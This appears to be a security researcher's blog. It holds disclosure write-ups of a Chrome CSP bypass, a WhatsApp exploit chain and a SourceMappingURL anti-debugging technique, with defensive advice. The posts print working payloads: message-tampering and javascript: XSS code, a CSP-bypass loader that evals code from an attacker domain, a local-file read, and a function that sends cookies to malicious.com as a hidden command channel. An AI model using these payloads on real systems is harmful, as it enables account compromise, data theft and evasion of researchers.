Part of the reason the severity was so high is because their CSP was misconfigured in such a way that allowed me to inject scripts that could communicate with any domain I wanted.

This is why. Finding ways to execute code on a website you don’t control is indeed extremely difficult. But once someone has, you’d wish your website had another layer of security that might stop them from causing real damage.

You can read all about this research right here.

Test It Yourself

I was easily able to test all of those websites by creating a simple script that when executed via the devtools console will let you know immediately whether the current browser/website is vulnerable to CVE-2020-6519 due to misconfigured CSP/Old Chrome or not. It does that by trying to load an external js script from https://pastebin.com/raw/XpHsfXJQ both normally and by trying to load the exploit as well:

Browser and Website are vulnerable

Browser is vulnerable but Website is not

Browser is not vulnerable

Advice For Website Owners And Users

Ensure your CSP policies are well defined

Consider adding additional layers of security such as nonces or hashs. This will require some server-side implementation.

CSP alone is not enough for most websites so, consider adding additional layers of security

Consider JavaScript-based detection and monitoring of Shadow Code for real-time mitigation of web page code injection.

Make sure your Chrome browser version is 84 or higher.

About The Patch

This vulnerability was patched by the Chromium project on Chrome 84, was tagged as medium (CVSS 6.5) risk and was granted $3,000.

CVE-2019-18426 - WhatsApp Vulnerabilities Disclosure - Open Redirect + CSP Bypass + Persistent XSS + FS read permissions + potential for RCE

2020-02-14T00:00:00+00:00

tl;dr - This is the story of how I found and helped Facebook patch multiple security flaws in WhatsApp, all the way from a simple Open-Redirect through a Persistent-XSS and CSP-bypass to a full cross platforms Read From The Local File System on both Windows and Mac and got 12,500$ as a reward!

Checkout the technical project and the exploit

Back in 2017, while I was traveling in Peru, I found a security flaw that Check Point published a few months later. That flaw was simple. In the words of Check Point’s researchers in this article published in 2018, it allowed an attacker to “alter the text of someone else’s reply, essentially putting words in their mouth.”

It was cool, but back then I couldn’t come up with any idea of further exploiting the flaw or finding related flaws. So except for trolling my friends a couple of times in our group chat, I kind of let it go.

A year later, I decided to continue my research. I really wanted to find a major security flaw in a well-known and widely used service, and I felt like WhatsApp was a good start. So I gave it a go since I already had some clue of existing security flaws in WhatsApp mobile and web applications.

I was not ready for what the next few months brought with them, but I can assure you - it was one hell of a ride. I managed to find four more unique security flaws in WhatsApp which led me all the way to persistent XSS and even reading from the local file system - by using a single message.

This was my process:

1. My original finding - ‘altering the text of someone else’s reply’

First, let’s talk about what I found in the first place, in 2017, since it is the foundation for this research.

I originally thought: “Using WhatsApp web, I can find the line of code where the object containing the metadata of the message is being formed, tamper with it, and then let the app continue in its natural message-sending flow, thus crafting my message while bypassing the UI filtering mechanism.”

So for example, by using this technique, I can alter the text of a reply to a message and send it, something I can’t achieve by legitimately using WhatsApp Web UI. I found that line and managed to have a look at the Object containing the metadata of the message. You can find this line by looking up return Promise.callSynchronously(function() in the entire code and set a breakpoint at var t = e.id;. It had a lot of interesting fields, so we’ll focus here on the relevant ones:

e = {
    "__x_body": "Why would you say that?!",
    "__x_type": "chat",
    "__x_quotedMsg": {
        "body": "I think you are the best!",
        "type": "chat",
        "mentionedJidList": [],
        "isForwarded": false,
        "labels": []
    },
    "__x_quotedStanzaID": "3EB0E42AC64D3D9BC5E7",
}

So essentially, I discovered that by simply running:

e.__x_quotedMsg.body = 'I think you are the worst!'; // alter the text
e.__x_quotedStanzaID = e.__x_quotedStanzaID + '_'; // change the id of the original message

before allowing the message send to execute, you’ll get this:

(This works for WhatsApp iOS/Android/Windows Desktop/Mac Desktop/Web)

The body of the reply quote is of a message that I have made up and was never really sent in the current conversation. That’s cool, but not that powerful.

What else can I take apart? What about messages with rich preview banners?

2. Dangerous Open-Redirect flaw in messages with rich preview banner using “@”

This is where this research becomes way more interesting. Messages with rich preview banners are messages that include banners with extra information regarding a link that is in the body of the message. So for example, if I send a message with “https://facebook.com” as its body, the receiver will get this:

On WhatsApp the banner is being generated on the side of the sender and this is an important point to understand. One can easily tamper with the banner properties before sending it to the receiver. Great recipe for trouble right here!

The first thing I did was to craft a message that will include a legitimate looking banner, but will redirect to another domain instead by simply replacing the link:

e.__x_body = e.__x_matchedText = 'https://example.com'

And this is what I got:

(This works for WhatsApp iOS/Android/Windows Desktop/Mac Desktop/Web)

Cool! Now even though the banner seems like it comes from Facebook, clicking the link will redirect to https://example.com!

Being familiar with all sorts of tricks used by malicious actors in the world of web, I experimented with this idea to see if this open redirect can be made more dangerous:

e.__x_body = e.__x_matchedText = 'Join Facebook! https://facebook.com+login_oage&welcome_to_facebook=true&timestamp=42837643@bit.ly/2SfZikR Become a friend of mine!'

(This works for WhatsApp iOS/Android/Windows Desktop/Mac Desktop/Web)

See what I did? I managed to not only mess with the banner’s link, but also crafted a message with a link that looks like it belongs to https://facebook.com while the link will always redirect to https://example.com!

This is dangerous because it appears authentic since both the banner and the link look like they really do belong to https://facebook.com

This works thanks to the role “@” plays in the spec of URL:

The purpose of “@” in URLs is to pass username and password to visited domains in the following way: https://USERNAME:PASSWORD@DOMAIN.COM. One can abuse this, as I just did, and replace the username and password with anything else: https://DOMAIN-A.COM@DOMAIN-B.com and it’ll still work. Firefox is the only browser that warns users, by default, In case this method is used without providing a username and password.

And then it hit me - if I can tamper with the message and send any link, would I be able to use javascript: URIs?

3. From an Open-Redirect to a Persistent-XSS using `javascript:` URIs

YES! But it’s not as simple as that.

At first, that’s exactly what I did:

e.__x_body = e.__x_matchedText = 'javascript:alert(document.domain)'

But it didn’t work. WhatsApp seemed to drop the banner on the receiving side. After a few failed attempts a thought came to my mind: maybe this happens because WhatsApp looks at the link that is attached to the banner and expects it to include a legitimate https: scheme URI?

So channeling my inner hacker , I did this:

e.__x_body = e.__x_matchedText = 'javascript:"https://example.com";alert(document.domain)'

AND IT WORKED!

(This works for WhatsApp Windows Desktop/Mac Desktop/Web)

Gained a one-click Persistent-XSS!

Fortunately for WhatsApp, Chromium based browsers added a defense mechanism against javascript: URIs just when I found this vulnerability. Unfortunately for WhatsApp, on other browsers such as Safari and Edge, this vulnerability was still wide open.The picture above is using Brave - an older version of the Chromium based browser.

When clicked, the message on native mobile WhatsApp apps normally opens https://example.com instead of running the XSS (Obviously, because XSS is rarely relevant for native mobile apps).

Now, I couldn’t achieve a state in which the payload is not a visible part of the message. This is because WhatsApp has a part in their code that checks whether the content of the link URI is included in the body of the message when the messages are being loaded. If there is no match, WhatsApp will omit the banner and the exploit won’t work. The best I managed to achieve was to create a long enough message, so the “Read more..” feature would turn on, and make sure the actual payload would be at the very bottom of the body of the message where you could only see it if you clicked “Read more..”.

I had to think of a way to manage to create a very small payload that would load a bigger payload from a different origin, to make the entire thing as unsuspicious as possible. This would mean bypassing WhatsApp’s CSP rules, which would not be an easy task.

4. Bypassing WhatsApp’s CSP rules in order to enhance the power of the Persistent-XSS

Bypassing CSP rules is made easier by Google’s CSP Evaluator. You just throw the URL address of the target website into the text box, and it immediately tells you its CSP configuration and how safe (or unsafe) the website is:

You see that object-src [missing] down there? (😈)

This is what I am going to do. Using my javascript: trick, I am going to inject the following payload to my malicious message:

var payload = `
  hard_expire_time.innerHTML +=
  '<object data="https://MY_MALICIOUS_DOMAIN/MY_PAYLOAD_IFRAME.html" />';
  onmessage=(e)=>{eval(JSON.parse(e.data))};
`;
payload = `javascript:"https://facebook.com";eval(atob("${btoa(payload)}"))`;
e.__x_body = e.__x_matchedText = payload;

And the content of https://MY_MALICIOUS_DOMAIN/MY_PAYLOAD_IFRAME.html would be:

<html>
  <head></head>
  <body>
    <script>
      top.postMessage(
	     JSON.stringify(
		    "open('https://facebook.com');
        alert('external payload');"
	     ),
      "*");
    </script>
  </body>
</html>

(This works for WhatsApp Web)

See what I just did? Since object-src directive is missing, it means I can use object to load an iframe(ish) to any origin of my choice. That way I’ll be able to run any external code with no size limits and no problems! All that is left to do is to execute that code on web.whatsapp.com domain and not on my own iframe’s domain, otherwise that’ll be pretty useless.

To achieve that, I simply use the XSS to load the iframe and then listen to the messages that are posted by different windows. I then use the iframe to post a message to the top window with the content of the external code.

The top window, where the XSS was executed, receives the message from the iframe, parses the external payload provided by it and executes it in its context (web.whatsapp.com).

Win! External payload was successfully fetched and executed in the context of WhatsApp!

Oh, and that hard_expire_time.innerHTML trick? It was the shortest way I could think of at the moment to make the DOM load my Object element (hard_expire_time is an element in the DOM of the website).

5. From Persistent-XSS to Reading from the File System on Mac/Windows with a potential for RCE

Surprisingly, this is the easy part. WhatsApp has desktop applications for both Mac and Windows.

I was very skeptical about being able to use the cool XSS I’d found on the desktop applications. After all, they’re probably not made of HTML and JS, right?

I clicked the same malicious message I used on the web app through the Windows desktop application and I was amazed to see this:

(This works for WhatsApp Windows Desktop/Mac Desktop/Web)

WOW! I mean, the document.domain part didn’t really work - but the alert() part sure did! How is that possible?!

I went online, knowing very well I would find an answer, and this was what I quickly discovered:

These types of applications are written using Electron. Electron is a cool platform that lets you create “native” applications using standard web features. This makes things super easy for a lot of big companies since it allows them to have one source code for both their web applications and native desktop applications. Electron constantly updates along with the platform it is based on: Chromium.

That means my XSS works since this is - after all - a variant of Chromium!

But wait, earlier I’ve learned that my javascript: trick doesn’t work on Chromium based browsers since the recent patch. So why does this XSS work on Electron?

I decided to use my XSS to alert the userAgent of the currently running application, and the following major security flaw blew-my-mind:

(This works for WhatsApp Windows Desktop/Mac Desktop)

For experienced vulnerability researchers, there is enough data in this alert message to immediately identify the RCE potential, so take a second, and think about it!

That’s right - Chrome/69 - the latest version of the WhatsApp desktop applications provided by WhatsApp is Chrome/69 based. This vulnerability was found when Chrome/78 was the stable version! A few versions before Chrome/78, the ability to use the javascript: trick was patched, and if WhatsApp would have updated their Electron web application from 4.1.4 to the latest which was 7.x.x at the time this vulnerability was found(!) - this XSS would never have existed!

And even worse - Since Chromium 69 is relatively old, exploiting a 1-day RCE is possible! There are more than 5 different 1-day RCEs in Chromium 69 or higher, you just need to find a published one and use it through the persistent XSS found earlier and BAM: Remote Code Execution ACHIEVED!

I did not take the time to actually exploit a public RCE, and therefore didn’t get the chance to prove the existence of such a vulnerability, but the theoretical concept is as follows: if you run an old version of a vulnerable app, one can exploit that vulnerability and do bad things to you. I did however demonstrated how I use fetch() API, for example, to read files from the local OS like the content of C:\Windows\System32\drivers\etc\hosts file in this case:

(This works for WhatsApp Windows Desktop/Mac Desktop)

For some reason, the CSP rules were not an issue with the Electron based app, so fetching an external payload using a simple javascript resource worked. This is the payload I used the XSS to fetch and execute from my remote malicious server:

alert(navigator.userAgent);
(async function(){
	// read "file:///C:/Windows/System32/drivers/etc/hosts" content
	const r = await fetch('file:///C:/Windows/System32/drivers/etc/hosts);
	const t = await r.text();
	alert(t)
}())

And that was it. This was my full journey, all the way from a simple Open-Redirect, through a Persistent-XSS and a CSP-bypassing to a full Cross Platform Read from the File System plus potentially a Remote-Code-Execution 🎉.

Key Takeaways From This Research

There are some very serious security flaws here that all companies should learn from:

If your app uses rich preview banners and those banners are crafted on the sending side, your filtering on the receiving side must be spot on. You just can’t let weird URLs load on the receiving side without making sure they’re legit. Heck, if your app generally crafts messages on the client side, your filtering on the receiving side must be spot on!
CSP rules are super important and could have prevented a big part of this mess.If the CSP rules were well configured, the power gained by this XSS would have been much smaller. Being able to bypass the CSP configuration allows an attacker to steal valuable information from the victim, load external payloads easily, and much more!
If you’re going to use Electron, you HAVE to make sure it is updated with each update of Chromium. And this is such a big one - Chromium updates are not just cool new features, in most Chromium updates, serious vulnerabilities are being patched! When Chromium is being updated, your Electron-based app must get updated as well, otherwise you leave your users vulnerable to serious exploits for no good reason!

Summary

And that’s pretty much it. I have to admit I’ve put a lot of effort and time into this research, but I’m glad to say it all paid off. I think there are a few very interesting ideas here that should inspire you to explore new types of security flaws that probably exist out there. I encourage you to go ahead and do that responsibly! And if you’re on the other side of the game, please use this article to harden your application. It is 2020, no product should be allowing a full read from the file system and potentially a RCE from a single message.

Facebook have patched and assigned this CVE. Thanks Facebook for being so responsive and for the very generous bounty of 12,500$! By the official CVSS calculator this vulnerability was scored with 8.8 (High) however this was never officially acknowledged by Facebook.

This research was conducted and published by Gal Weizman.

List EVERY event that exists in the browser

2020-02-02T00:00:00+00:00

Check out my next post on how to list every event possible in the browser and a graphical represantation I made to compare events support between different browsers

unload And beforeunload Events And How To Easily Debug Them Both!

2020-02-02T00:00:00+00:00

Check out my first post where I share some cool insights regarding end of life events in the browser and a cool javascript trick to easily debug them both

Javascript Anti Debugging - Abusing SourceMappingURL

2019-12-18T00:00:00+00:00

Later on was published on Medium

tl;dr - Abusing SourceMappingURL feature can allow attackers to create one of the strongest Cross Browsers Javascript Anti Debugging techniques that was ever seen (fully detailed live demo)

This article’s purpose is to introduce a new Javascript Anti Debugging technique in an advanced level and therefore assumes the reader already has an understanding of the different aspects of web security and what Javascript Anti Debugging really is.

Not too long ago, I’ve learned about SourceMappingURL feature, which basically allows you to fetch a Source Map for your Javascript resources. It will map minified/uglified Javascript code to its original source code, thus will allow developers to easily debug their source code in the browser, instead of struggling with debugging the minified/uglified one - pretty cool feature! (and pretty old as well)

All you need to do is to locate the following comment at the bottom of your minified/uglified Javascript resource:

//# SourceMappingURL=https://www.my-website.com/map.json

and the browser will fetch the map from your servers (which you’ll also need to implement yourself in order for the feature to actually work), and will make sure to do the mapping and the representation of it for you (if this doesn’t make a lot of sense to you - go read more about SourceMappingURL!).

Two very important notes before we start:

SourceMappingURL feature is only activated when the devtools of the browser are open, since this is a development only feature and should not be a burden for the website while loading if the website is not being inspected!

Everything I am going to talk about here, is relevant to every major browser out there (was tested on Chrome, Safari, Firefox, Edge, Opera), However some might work in weaker forms. Please take into consideration that this feature did not exhibit 100% consistent behavior across browsers and versions, as achieving that was not a goal as part of this project - proof of concept was.

I was curious about its implementation and was wondering regarding its potential security issues, so I decided to have a look at it myself.

It had immediately drawn my attention when I realized its first interesting property:

The request to SourceMappingURL is completely silent and hidden

If a script contains the SourceMappingURL= comment and is attached to the DOM, the browser will fire a request to the link specified after the = sign - but you won’t be able to tell that by looking at the devtools - you won’t see anything in the network panel nor the console panel - simply nowhere! The only way of telling that request had happened is by either using some sort of a network debugging proxy (such as fiddler or wireshark) or looking for that request in chrome://net-export in Chrome browser for example. The response to this request however cannot be captured by client side Javascript since it is being handled by the browser itself (because the browser is the one to get the source map and use it to map the bundled resources to the original resources).

Now that caught my attention! Being able to fire a hidden request from the browser! now that’s powerful. This is where I wondered about other properties this request might have that might be abused by attackers.

So firing a hidden request is awesome and everything, but it is just a static request. I mean, if I could dynamically construct the url to which the SourceMappingURL request should go, that would be even more powerful.

The SourceMappingURL can be constructed dynamically (on-the-fly)

The following works:

function  smap(url, data)  {
	const script = document.createElement('script');
	script.textContent =  `//# SourceMappingURL=${url}?data=${JSON.stringify(data)}`;
	document.head.appendChild(script);
	script.remove();  // that's right! the script doesn't even have to stay in DOM for this feature to work! how cool is that?!
}

smap('https://malicious.com/reportStolenCookies',  {cookie: document.cookie});

And since this works, I can leak any type of dynamic information I want from the browser at its current execution. I can steal cookies, report timestamp and generally collect any type of information I wish to report and simply add it to the SourceMappingURL in order to send it. This is some powerful stuff!

So far so good. But as I always do when I learn of a new trick to send requests from the browser - I tried to see if I can use this one to bypass CSP rules.

The request made by SourceMappingURL bypasses CSP completely

Wow! That one was a cool discovery in my research! So if I go on https://example.com for example and it responds with Content-Security-Policy: default-src https://example.com as one of its headers (which means requests under https://example.com are only allowed to be made to https://example.com), I would be able to bypass that rule completely by using the SourceMappingURL feature by doing:

//# SourceMappingURL=http://malicious.com?THIS_REQUEST_WILL_MAKE_IT_TO_THE_SERVER.

This is pretty cool considering how difficult and almost impossible it is to bypass CSP rules these days.

Later on I’ve found out that this specific property of SourceMappingURL feature was already discovered before me (for example here) - don’t worry though, this gets more interesting!

The request made by SourceMappingURL can be made using `http:` even if the page is loaded via `https:`

Another cool property of SourceMappingURL feature is the fact that it can send non-secure requests via http: even if the main page was loaded via a secure connection over https:, a narrative that cannot be accomplished otherwise in the browser, since SSL downgrade is forbidden and is considered to be a serious security flaw.

So by this point I found some really cool hacks that by combining them all together, one can leak sensitive information while bypassing website’s CSP rules without it being documented whatsoever in the devtools, thus making it super hard to tell this strange activity took place in the victim’s browser.

So far so good. And then I was wondering to myself, if SourceMappingURL fires a request, does it have any of the other standard properties that any common request has? We already know that the response cannot be processed by the client side Javascript - so how is it similar to other types of network APIs in the browser? And then I’ve found the property that changed the game completely:

The browser respects headers set on the response to the SourceMappingURL request (including `Set-Cookie`)

And that is the most powerful property of this feature - even though we don’t get to process the response ourselves, the browser respects response headers for this request, including Set-Cookie! This means an attacker can have a full request-and-response mechanism, simply by having their server inject the response in the cookie header instead of the actual response!

function  smap  (  ...  )  {  ...  }  // same as in the snippent above..
	const i =  setInterval(  ()  =>  {
	var response =  getCookieValueByCookieName('SMAP_RESPONSES');
	if  (!response)  return;
	deleteCookieByCookieName('SMAP_RESPONSES');
	clearInterval(i);
	alert('server says that 1 + 2 is '  + response);
},  100  );

smap('http://malicious.com/sum',  {a:  1, b:  2});

Wait, This sounds much more powerful than simply just a Javascript Anti Debugging Technique - why stop there?

So, as I said before, the SourceMappingURL request is only fired when:

The browser’s devtools were open before the website started loading
The browser’s devtools were opened after the website has started loading

And that takes a lot of this finding’s power since it means that everything I have found so far is only relevant when the devtools are open.

HOWEVER…

Since SourceMappingURL feature

fires a request the second devtools are being opened
is completely silent about sending the request
bypasses CSP rules completely
respects headers and cookies

It can actually be used as a very strong Javascript Anti Debugging technique!

How? (in a couple of words…)

By using SourceMappingURL feature’s power, an attacker can make sure their code will inform their servers the second the browser has its devtools opened.

In the response, the attacker can mark that browser with a cookie that will identify that browser as a potential hazard for the hacker. With that mark, the attacker can choose to do whatever, probably to serve that browser with an innocent Javascript code instead of their malicious code until the marking cookie is expired.

Or instead, the attacker can respond with a cookie that will contain data that the malicious Javascript code relies on in order to determine its next steps (a variation of a C&C Client-Server mechanism if you will).

The server for example can respond with Set-Cookie: SMAP_COMMAND=while(1){} and the client side can execute any command given to it by the server.

Also, on top of that request, the attacker can also leak any type of information they wish to steal from the victim.

And on top of everything, it will be extremely hard for any researcher to find this malicious activity since the request leaves no trace of its occurrence (and even harder if the attacker actually decides to avoid malicious code execution on that specific browser once it was marked as a “devtools opener”).

“I don’t quite understand… I need some live examples”

That’s fair! This concept is not super easy to grasp just by reading, it is definitely worth seeing it works on live. Lucky for you, I’ve created a thorough technical demo that attempts to fully explain and demonstrate everything mentioned here (I hope this demo is still up and running as it is located on PerimeterX’s servers and I don’t have control over it).

You are encouraged to check it out and let me know what you think of it!

“Wait, you said this was Part 1, Is there a Part 2?”

Oh, right! In the next article I will cover another interesting ability I’ve found that only exists in browsers that use Chromium’s devtools.

It is another cool trick that can assist hackers in better understanding the researchers actions when trying to uncover them, and also protect only very specific parts of their malicious code, thus making it even harder for researchers to catch them.

I will post the link here once it is done :)

To sum up

As someone who has experienced the world of web security and hacking quite a lot in my military service, I can tell you that this trick right here will take the game to the next level if used correctly.

Revealing malicious activity in the browser is much harder for researchers when there are actions made by the attacker that take place in the browser without the researcher being able to tell that they even happened!

Correctly implementing this trick into an attacking exploit kit will significantly reduce the chances of being uncovered by researchers (maybe not so much though, now that this article is publicly published) by basically filtering those out of the way and only attacking the innocents.

This trick can of course be very helpful not only to attackers but to other entities as well (such as big companies who want to alter their code when it is being investigated by researchers for example).

This technique has been responsibly disclosed to the chromium project more than 90 days before publishing this article.

Hope you guys enjoyed this! :)

This research was conducted and published by Gal Weizman.

Gal Weizman

The Rest of the Iceberg - Everything We've Missed About the Browser Extensions Attack Surface

Class XAW (the tip of the iceberg)

Class WAX

Class XAB

Class XAOS

But why now?

What same origin iframes are used for?

The Same Origin Concern

A happy ending?

The Realms-Initialization-Control proposal

The spectrum

Time to find out!

Define

Find

Introduce

Discover

Embeddables

Google (ads)

Google (social login)

Sentry (metrics)

Facebook (pixel)

X (embedded posts)

Conclusion

Is client side security dead - or a crucial part of the future?

Does client side security still matter?

Shubham’s tweet

My relationship with client side security

The beginning

The choice

The wrong choice?

The right choice

My take on client side security

The death of client side security?

Client side security’s second chance

Software Composability

Decentralization

Client side security’s critical role in the future

JavaScript Sandboxing

The Same Origin Concern

DOM Confinement

Are those actual problems though?

MetaMask Wallet Security Threat Model - The Browser's Prespective [𝕏]

Javascript Anti Debugging - Crashing the Devtools [𝕏]

The Same Origin Concern - presenting to W3C [𝕏]

The Same Origin Concern

Summary

Snow stops playing nice - security first at the cost of everything else

Proto Tree 🌳 - A Way to Observe the JS Prototype Chain [𝕏]

MetaMask JavaScript Security Stack (Part 3 - Snow) [𝕏]

MetaMask JavaScript Security Stack (Part 2 - Snow) [𝕏]

MetaMask JavaScript Security Stack (Part 1 - scuttling) [𝕏]

DOM Clobbering - but with numbers?! [𝕏]

LavaTube - Expermintal JS tool for recursively walk through ???

LavaMoat

Motivation

Demonstration

Problem

Background

CVE-2023-1767 - Stored XSS on Snyk Advisor service can allow full fabrication of npm packages health score

tl;dr

What motivated me to write this?

Supply chain security - an intro

1. Compromising an already-used legitimate package

2. Luring to use a yet-to-be-used malicious package

Luring developers is hard!

A single point of failure

Markdown XSS

Markdown to (stored) XSS on Snyk Advisor (snyk.io domain)

Impact

Exploiting the vulnerability!

Find a need

Register a package

Cause “fake” damage

Create a deceitful README file

PoC - Exploit Snyk Advisor’s vulnerability

Leverage exploit to fabricate Advisor results

Sell it!

Conclusions

Builders

Markdown to (stored) XSS on Snyk Advisor (`snyk.io` domain)

3. From an Open-Redirect to a Persistent-XSS using `javascript:` URIs